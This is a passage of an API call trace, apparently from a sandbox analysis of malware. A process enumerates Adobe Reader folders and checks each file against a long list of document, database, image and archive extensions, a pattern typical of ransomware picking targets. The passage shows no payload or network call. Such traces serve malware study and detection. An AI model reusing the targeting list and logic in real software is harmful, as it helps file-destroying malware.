(lpString1=".fido", lpString2="gs.js") returned -1 [0270.061] lstrlenW (lpString=".flm") returned 4 [0270.061] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0270.061] lstrlenW (lpString=".flv") returned 4 [0270.061] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0270.061] lstrlenW (lpString=".frm") returned 4 [0270.061] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0270.061] lstrlenW (lpString=".fxg") returned 4 [0270.062] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0270.062] lstrlenW (lpString=".geo") returned 4 [0270.062] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0270.062] lstrlenW (lpString=".gif") returned 4 [0270.062] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0270.062] lstrlenW (lpString=".grs") returned 4 [0270.062] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0270.062] lstrlenW (lpString=".gz") returned 3 [0270.062] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0270.062] lstrlenW (lpString=".h") returned 2 [0270.062] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0270.062] lstrlenW (lpString=".hdr") returned 4 [0270.062] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0270.062] lstrlenW (lpString=".hpp") returned 4 [0270.062] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0270.062] lstrlenW (lpString=".hta") returned 4 [0270.063] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0270.063] lstrlenW (lpString=".htc") returned 4 [0270.063] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0270.063] lstrlenW (lpString=".htm") returned 4 [0270.063] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0270.063] lstrlenW (lpString=".html") returned 5 [0270.063] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0270.063] lstrlenW (lpString=".icb") returned 4 [0270.063] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0270.063] lstrlenW (lpString=".ics") returned 4 [0270.063] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0270.063] lstrlenW (lpString=".iff") returned 4 [0270.063] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0270.063] lstrlenW (lpString=".inc") returned 4 [0270.063] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0270.063] lstrlenW (lpString=".indd") returned 5 [0270.063] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0270.063] lstrlenW (lpString=".ini") returned 4 [0270.063] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0270.063] lstrlenW (lpString=".iqy") returned 4 [0270.063] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0270.064] lstrlenW (lpString=".j2c") returned 4 [0270.064] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0270.064] lstrlenW (lpString=".j2k") returned 4 [0270.064] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0270.064] lstrlenW (lpString=".java") returned 5 [0270.064] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0270.064] lstrlenW (lpString=".jp2") returned 4 [0270.064] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0270.064] lstrlenW (lpString=".jpc") returned 4 [0270.064] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0270.064] lstrlenW (lpString=".jpe") returned 4 [0270.064] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0270.064] lstrlenW (lpString=".jpeg") returned 5 [0270.064] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0270.064] lstrlenW (lpString=".jpf") returned 4 [0270.064] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0270.064] lstrlenW (lpString=".jpg") returned 4 [0270.064] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0270.064] lstrlenW (lpString=".jpx") returned 4 [0270.064] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0270.064] lstrlenW (lpString=".js") returned 3 [0270.065] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0270.065] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x78b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0270.065] FindClose (in: hFindFile=0x3315af0 | out: hFindFile=0x3315af0) returned 1 [0270.065] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0270.065] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0270.065] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz") returned 119 [0270.065] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz") returned 1 [0270.065] lstrlenW (lpString="cs-cz") returned 5 [0270.065] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="cs-cz") returned -1 [0270.065] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0270.065] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz") returned 119 [0270.065] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315630 [0270.066] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0270.066] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x743, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0270.066] lstrlenW (lpString="ui-strings.js") returned 13 [0270.066] lstrlenW (lpString=".1cd") returned 4 [0270.066] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0270.066] lstrlenW (lpString=".3ds") returned 4 [0270.066] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0270.066] lstrlenW (lpString=".3fr") returned 4 [0270.066] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0270.066] lstrlenW (lpString=".3g2") returned 4 [0270.066] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0270.066] lstrlenW (lpString=".3gp") returned 4 [0270.066] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0270.067] lstrlenW (lpString=".7z") returned 3 [0270.067] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0270.067] lstrlenW (lpString=".accda") returned 6 [0270.067] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0270.067] lstrlenW (lpString=".accdb") returned 6 [0270.067] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0270.067] lstrlenW (lpString=".accdc") returned 6 [0270.067] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0270.067] lstrlenW (lpString=".accde") returned 6 [0270.067] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0270.067] lstrlenW (lpString=".accdt") returned 6 [0270.067] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0270.067] lstrlenW (lpString=".accdw") returned 6 [0270.067] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0270.067] lstrlenW (lpString=".adb") returned 4 [0270.067] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0270.067] lstrlenW (lpString=".adp") returned 4 [0270.067] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0270.067] lstrlenW (lpString=".ai") returned 3 [0270.069] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0270.069] lstrlenW (lpString=".ai3") returned 4 [0270.069] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0270.069] lstrlenW (lpString=".ai4") returned 4 [0270.069] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0270.069] lstrlenW (lpString=".ai5") returned 4 [0270.069] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0270.069] lstrlenW (lpString=".ai6") returned 4 [0270.069] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0270.069] lstrlenW (lpString=".ai7") returned 4 [0270.069] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0270.069] lstrlenW (lpString=".ai8") returned 4 [0270.069] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0270.069] lstrlenW (lpString=".anim") returned 5 [0270.069] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0270.069] lstrlenW (lpString=".arw") returned 4 [0270.069] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0270.070] lstrlenW (lpString=".as") returned 3 [0270.070] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0270.070] lstrlenW (lpString=".asa") returned 4 [0270.070] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0270.070] lstrlenW (lpString=".asc") returned 4 [0270.070] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0270.070] lstrlenW (lpString=".ascx") returned 5 [0270.070] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0270.070] lstrlenW (lpString=".asm") returned 4 [0270.070] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0270.070] lstrlenW (lpString=".asmx") returned 5 [0270.070] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0270.070] lstrlenW (lpString=".asp") returned 4 [0270.070] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0270.070] lstrlenW (lpString=".aspx") returned 5 [0270.070] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0270.070] lstrlenW (lpString=".asr") returned 4 [0270.070] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0270.070] lstrlenW (lpString=".asx") returned 4 [0270.070] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0270.070] lstrlenW (lpString=".avi") returned 4 [0270.070] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0270.071] lstrlenW (lpString=".avs") returned 4 [0270.071] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0270.071] lstrlenW (lpString=".backup") returned 7 [0270.071] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0270.071] lstrlenW (lpString=".bak") returned 4 [0270.071] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0270.071] lstrlenW (lpString=".bay") returned 4 [0270.071] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0270.071] lstrlenW (lpString=".bd") returned 3 [0270.071] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0270.071] lstrlenW (lpString=".bin") returned 4 [0270.071] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0270.071] lstrlenW (lpString=".bmp") returned 4 [0270.071] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0270.071] lstrlenW (lpString=".bz2") returned 4 [0270.071] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0270.071] lstrlenW (lpString=".c") returned 2 [0270.071] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0270.071] lstrlenW (lpString=".cdr") returned 4 [0270.071] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0270.071] lstrlenW (lpString=".cer") returned 4 [0270.071] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0270.071] lstrlenW (lpString=".cf") returned 3 [0270.072] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0270.072] lstrlenW (lpString=".cfc") returned 4 [0270.072] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0270.072] lstrlenW (lpString=".cfm") returned 4 [0270.072] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0270.072] lstrlenW (lpString=".cfml") returned 5 [0270.072] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0270.072] lstrlenW (lpString=".cfu") returned 4 [0270.072] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0270.072] lstrlenW (lpString=".chm") returned 4 [0270.072] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0270.072] lstrlenW (lpString=".cin") returned 4 [0270.072] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0270.072] lstrlenW (lpString=".class") returned 6 [0270.072] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0270.072] lstrlenW (lpString=".clx") returned 4 [0270.072] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0270.072] lstrlenW (lpString=".config") returned 7 [0270.072] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0270.072] lstrlenW (lpString=".cpp") returned 4 [0270.072] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0270.072] lstrlenW (lpString=".cr2") returned 4 [0270.072] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0270.072] lstrlenW (lpString=".crt") returned 4 [0270.072] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0270.073] lstrlenW (lpString=".crw") returned 4 [0270.073] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0270.073] lstrlenW (lpString=".cs") returned 3 [0270.073] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0270.073] lstrlenW (lpString=".css") returned 4 [0270.073] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0270.073] lstrlenW (lpString=".csv") returned 4 [0270.073] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0270.073] lstrlenW (lpString=".cub") returned 4 [0270.073] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0270.073] lstrlenW (lpString=".dae") returned 4 [0270.073] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0270.073] lstrlenW (lpString=".dat") returned 4 [0270.073] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0270.073] lstrlenW (lpString=".db") returned 3 [0270.073] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0270.073] lstrlenW (lpString=".dbf") returned 4 [0270.073] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0270.073] lstrlenW (lpString=".dbx") returned 4 [0270.073] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0270.073] lstrlenW (lpString=".dc3") returned 4 [0270.073] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0270.073] lstrlenW (lpString=".dcm") returned 4 [0270.073] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0270.073] lstrlenW (lpString=".dcr") returned 4 [0270.073] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0270.073] lstrlenW (lpString=".der") returned 4 [0270.074] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0270.074] lstrlenW (lpString=".dib") returned 4 [0270.074] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0270.074] lstrlenW (lpString=".dic") returned 4 [0270.074] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0270.074] lstrlenW (lpString=".dif") returned 4 [0270.074] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0270.074] lstrlenW (lpString=".divx") returned 5 [0270.074] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0270.074] lstrlenW (lpString=".djvu") returned 5 [0270.074] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0270.074] lstrlenW (lpString=".dng") returned 4 [0270.074] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0270.074] lstrlenW (lpString=".doc") returned 4 [0270.074] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0270.074] lstrlenW (lpString=".docm") returned 5 [0270.074] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0270.074] lstrlenW (lpString=".docx") returned 5 [0270.074] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0270.074] lstrlenW (lpString=".dot") returned 4 [0270.074] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0270.074] lstrlenW (lpString=".dotm") returned 5 [0270.074] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0270.074] lstrlenW (lpString=".dotx") returned 5 [0270.074] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0270.075] lstrlenW (lpString=".dpx") returned 4 [0270.075] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0270.075] lstrlenW (lpString=".dqy") returned 4 [0270.075] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0270.075] lstrlenW (lpString=".dsn") returned 4 [0270.075] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0270.075] lstrlenW (lpString=".dt") returned 3 [0270.075] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0270.075] lstrlenW (lpString=".dtd") returned 4 [0270.075] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0270.075] lstrlenW (lpString=".dwg") returned 4 [0270.075] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0270.075] lstrlenW (lpString=".dwt") returned 4 [0270.075] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0270.075] lstrlenW (lpString=".dx") returned 3 [0270.075] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0270.075] lstrlenW (lpString=".dxf") returned 4 [0270.075] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0270.075] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x743, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0270.075] FindClose (in: hFindFile=0x3315630 | out: hFindFile=0x3315630) returned 1 [0270.076] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0270.076] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0270.076] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0270.076] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315630 [0270.079] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0270.079] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6fd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0270.079] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6fd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0270.079] FindClose (in: hFindFile=0x3315630 | out: hFindFile=0x3315630) returned 1 [0270.079] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0270.079] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0270.079] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0270.079] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33158b0 [0270.081] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0270.081] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x792, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0270.081] lstrlenW (lpString="ui-strings.js") returned 13 [0270.081] lstrlenW (lpString=".1cd") returned 4 [0270.081] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0270.081] lstrlenW (lpString=".3ds") returned 4 [0270.081] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0270.081] lstrlenW (lpString=".3fr") returned 4 [0270.081] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0270.081] lstrlenW (lpString=".3g2") returned 4 [0270.081] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0270.081] lstrlenW (lpString=".3gp") returned 4 [0270.081] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0270.082] lstrlenW (lpString=".7z") returned 3 [0270.082] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0270.082] lstrlenW (lpString=".accda") returned 6 [0270.082] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0270.082] lstrlenW (lpString=".accdb") returned 6 [0270.082] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0270.082] lstrlenW (lpString=".accdc") returned 6 [0270.082] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0270.082] lstrlenW (lpString=".accde") returned 6 [0270.082] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0270.082] lstrlenW (lpString=".accdt") returned 6 [0270.082] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0270.082] lstrlenW (lpString=".accdw") returned 6 [0270.082] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0270.082] lstrlenW (lpString=".adb") returned 4 [0270.082] lstrcmpiW (lpString1=".adb", 